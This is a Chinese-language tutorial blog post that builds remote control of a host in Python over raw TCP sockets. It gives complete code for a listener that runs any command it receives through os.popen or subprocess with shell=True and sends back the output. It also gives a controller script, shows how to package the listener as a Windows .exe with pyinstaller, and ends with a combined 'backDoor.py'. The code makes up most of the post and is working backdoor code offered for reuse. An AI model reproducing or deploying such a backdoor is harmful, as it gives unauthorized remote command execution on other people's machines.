当前位置 博文首页 > Python实现Socket通信建立TCP反向连接

    Python实现Socket通信建立TCP反向连接

    作者:Tr0e 时间:2021-09-17 18:36

    目录
    • 前言
    • 远程控制
    • 脚本编写
    • 脚本优化
      • getopt ()
      • 完整代码

    前言

    本文将记录学习基于 Socket 通信机制建立 TCP 反向连接,借助 Python 脚本实现主机远程控制的目的。

    我们在传输数据时,可以只使用(传输层)TCP/IP 协议,但是那样的话,如果没有应用层,便无法识别数据内容,如果想要使传输的数据有意义,则必须使用到应用层协议,应用层协议有很多,比如 HTTP、FTP、TELNET 等,也可以自己定义应用层协议。而 Socket 是对 TCP/IP 协议的封装,Socket 本身并不是协议,而是一个调用接口(API),通过 Socket 我们才能使用 TCP/IP 协议。

    HTTP 连接与 Socket 连接的区别

    • HTTP 是短连接,Socket (基于 TCP 协议的)是长连接。尽管 HTTP1.1 开始支持持久连接,但仍无法保证始终连接。而 Socket 连接一旦建立 TCP 三次握手,除非一方主动断开,否则连接状态一直保持。
    • HTTP连接,服务端无法主动发消息,Socket 连接,双方请求的发送无先后限制。这点就比较重要了,因为它将决定二者分别适合应用在什么场景下。HTTP 采用“请求-响应”机制,在客户端还没发送消息给服务端前,服务端无法推送消息给客户端。必须满足客户端发送消息在前,服务端回复在后。Socket 连接双方类似 peer2peer 的关系,一方随时可以向另一方喊话。

    什么时候该用 HTTP,什么时候该用 Socket?

    • 用 HTTP 的情况:双方不需要时刻保持连接在线,比如客户端资源的获取、文件上传等。
    • 用 Socket 的情况:大部分即时通讯应用(QQ、微信)、聊天室、苹果APNs等。

    Python3 关于 Socket 网络编程的相关语法知识可以参见:Python3 网络编程。

    远程控制

    下面开始来看看如何借助 Python 实现对目标主机的远程控制。

    脚本编写

    ServerAttack.py 受控端脚本如下:

    import socket
    import os
    
    ip = ""      # 空表示可连接所有主机
    port = 5555  # 设置端口
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    # 对象s 使用基于tcp协议的网络套接字
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  # 关闭后不需要保存状态可以立即开启
    s.bind((ip, port))  # 对象s 开始绑定ip和端口
    s.listen(10)        # 启动监听状态,设置队列中等待连接服务器的最大请求数10
    conn, addr = s.accept()       # 当与别人建立连接 addr,conn 变量分别存对方ip和连接的对象
    print("已建立远程连接:", addr)  # 显示对方地址
    
    while True:
        data = conn.recv(1024)  # 接收对方字符串 #如果对方不发数据会卡住
        if data == b"q":        # 接收到程序终止信号则中断连接
            break
        data = str(data, encoding="utf8")  # 将数据转换为字符串类型
        print("远程主机请求的命令:", data)
        f = os.popen(data)  # 可以将命令的内容以读取的方式返回
        data2 = f.read()
        if data2 == "":
            conn.send(b"finish")
        else:
            conn.send(bytes(data2, encoding="utf8"))  # 发送命令运行结果
    
    conn.close()  # 断开连接
    s.close()     # 关闭套结字
    

    ClientAttack.py 控制端脚本如下:

    import socket
    
    ip = "192.168.146.126"  # 对方服务器ip地址
    port = 5555             # 对方服务器的端口
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 对象s使用基于tcp协议的网络套接字
    s.connect((ip, port))   # 创建socket连接
    
    while True:
        data = input("请输入命令:")
        data = bytes(data, encoding="utf8")
        s.send(data)          # 发送数据给对方
        data2 = s.recv(1024)  # 接收返回的数据
        print(str(data2, encoding="utf8"))
        if data == b"q":
            break
    
    s.close()
    

    效果演示

    1、Linux 远控

    将 ServerAttack.py 受控端脚本拷贝至 Linux 系统并运行,同时 Win10 物理机运行 ClientAttack.py 控制端脚本,可实现远程连接控制:

    在这里插入图片描述

    2、Windows 远控

    使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可执行文件(pyinstaller -F ServerAttack.py),然后在 Win7 虚拟机运行生成的 ServerAttack.exe 文件,效果如下:

    在这里插入图片描述

    脚本优化

    下面使用多线程、脚本参数设置、脚本帮助提示、客户端服务端代码集成来优化上述实现远程控制的脚本。

    getopt ()

    Python 中 getopt 模块是专门用来处理命令行参数的,函数格式:

    getopt(args, shortopts, longopts = [])

    参数解析如下:

    参数 释义 补充
    args 要解析的参数列表 一般是sys.argv[1:],表示获取的参数不包括当前执行的 python 脚本名称
    shortopts 要识别的短格式 (-) 选项字符串,如果后接:表示需要给定参数 ab:c:,表示识别 -a, -b 和 -c 的短选项,其中 -b 和 -c 需要后接参数
    longopts = [] 要识别的长格式(–)选项,如果后接=表示需要给定参数 如[“help”, “user=”, “password=”],表示识别--help, --user=root, --password=123456的长选项

    函数返回值由两个元素组成:

    • 第一个是 (option, value) 元组的列表,(option, value) 元组中的 option 表示包含-或--前缀的选项,value 表示该 option 对应的参数,可以为空字符串表示无参数;
    • 第二个是 args 剥离短选项及其参数和长选项及其参数之后剩余的参数列表。

    完整代码

    import socket
    import getopt
    import sys
    import subprocess
    from threading import Thread
    
    
    def main():
        target = ""  # 目标IP
        port = 0     # 目标端口
        listen = False
        help = False
    
        # 利用getopt模块从命令行获取参数,sys.argv[1:]可以过滤掉第一个参数(第一个参数是脚本的名称,它不应该作为参数进行解析)
        opts, args = getopt.getopt(sys.argv[1:], "t:p:hl")
        for o, a in opts:
            if o == "-t":
                target = a
            elif o == "-p":
                port = int(a)
            elif o == "-h":
                help = True
            elif o == "-l":
                listen = True
            else:
                # 断言,传入的参数有误
                assert False, "Unhandled Option"
    
        # 输出帮助文档
        if help:
            usage()
    
        # 获分客户端和服务端
        if listen:
            server_handle(port)
        else:
            client_handle(target, port)
    
    
    # 受控端
    def server_handle(port):
        # 创建socket通道
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # 绑定
        server.bind(('0.0.0.0', port))
        # 监听
        server.listen(10)
        print("[*] Listening on 0.0.0.0:%d" % port)
        while True:
            client_socket, addr = server.accept()
            print("[*] Accept connection from %s:%d" % (addr[0], addr[1]))
            t = Thread(target=run_command, args=(client_socket, server,))
            t.start()
    
    
    # 控制端,发送命令,接收受控端命令行的回显内容
    def client_handle(target, port):
        # 创建socket通道
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # 连接服务器
        client.connect((target, port))
        # 接收数据
        while True:
            recv_len = 1
            # 接收到的数据是utf-8
            resBuffer = "".encode('utf-8')
            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                resBuffer += data
                if recv_len < 4096:
                    break
            # 在windows下中文会乱码,所以转成GBK
            print(resBuffer.decode('gbk'), end="")
            # 接收命令,发送命令需要将命令转成byte,并且编码是utf-8
            buffer = input("")
            if buffer.encode('utf-8') == b"quit":
                break
            buffer += "\n"
            client.send(buffer.encode('utf-8'))
        client.close()
    
    
    # 执行命令涵数
    def run_command(client_socket,s):
        while True:
            # 发送命令给客户端
            client_socket.send(b"shell_>")
            # 定义接收命令byte类型变量
            cmd_buffer = "".encode('utf-8')
            # 接收客户端发过来的消息,直到预到换行,代表客户端消息输入完成
            while b"\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)
            if cmd_buffer == b"quit":
                break
            # 将完整的byte变量消息转成字符串
            cmd_buffer = cmd_buffer.decode()
            try:
                # 通过隧道执行命令并以byte数据类型返回输出的数据
                out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True)
                # 将返回的数据发送给客户端
                client_socket.send(out)
            except:
                client_socket.send(b"faild to execute the command")
        client_socket.close()  # 断开连接
        s.close()  # 关闭套结字
        exit(0)
    
    
    # 输出帮助信息
    def usage():
        print("help info : python backDoor.py -h")
        print("client : python backDoor.py -t [target] -p [port]")
        print("server : python backDoor.py -lp [port]")
        print("Exit :Input quit to exit ")
        sys.exit()
    
    
    if __name__ == "__main__":
        main()
    

    效果演示

    获取脚本帮助提示、进行远程连接:

    在这里插入图片描述

    jsjbwy
    下一篇:没有了